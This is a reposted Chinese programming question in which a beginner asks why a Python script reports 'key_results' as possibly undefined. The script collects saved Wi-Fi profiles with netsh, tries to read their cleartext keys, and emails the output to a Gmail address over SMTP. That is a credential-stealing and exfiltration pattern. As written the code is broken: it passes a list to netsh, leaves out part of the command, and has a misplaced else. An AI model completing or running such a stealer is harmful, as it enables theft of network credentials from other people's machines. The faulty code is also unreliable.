如何解决名称key_results可以是未定义的Python
我正在尝试让我的代码获取WIFI密钥内容,然后通过电子邮件将其发送给自己,但是当我运行该程序时,它说名称key_results可能不确定。我尝试通过做key_results = " "
使其一开始就成为一个空的变量,但随后出现错误“ expected str,bytes or os.pathLike object,not list
”,我是python新手,如果代码不好,抱歉!
import subprocess
import smtplib
import ssl
import time
data = subprocess.check_output(["netsh","wlan","show","profiles"]).decode("utf-8").split("\n")
print("data found")
wifis = [line.split(":")for line in data if "All User Profile" in line]
for wifi in wifis:
key_results = subprocess.check_output(["netsh","profile",wifis,"key=clear"]).decode("utf-8")
print("key results found")
else:
print("error finding key results")
smtp_server = "smtp.gmail.com"
port = "587"
sender_email = "fakeemail2@gmail.com"
sender_password = "fakepass"
receiver_email = "fakegmail@gmail.com"
your_message = key_results
context = ssl.create_default_context()
try:
with smtplib.SMTP(smtp_server,port) as server:
server.ehlo()
server.starttls(context=context)
server.ehlo()
server.login(sender_email,sender_password)
server.sendmail(sender_email,receiver_email,your_message)
print("Email Sent")
except:
print("something went wrong")
time.sleep(3)
quit()
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。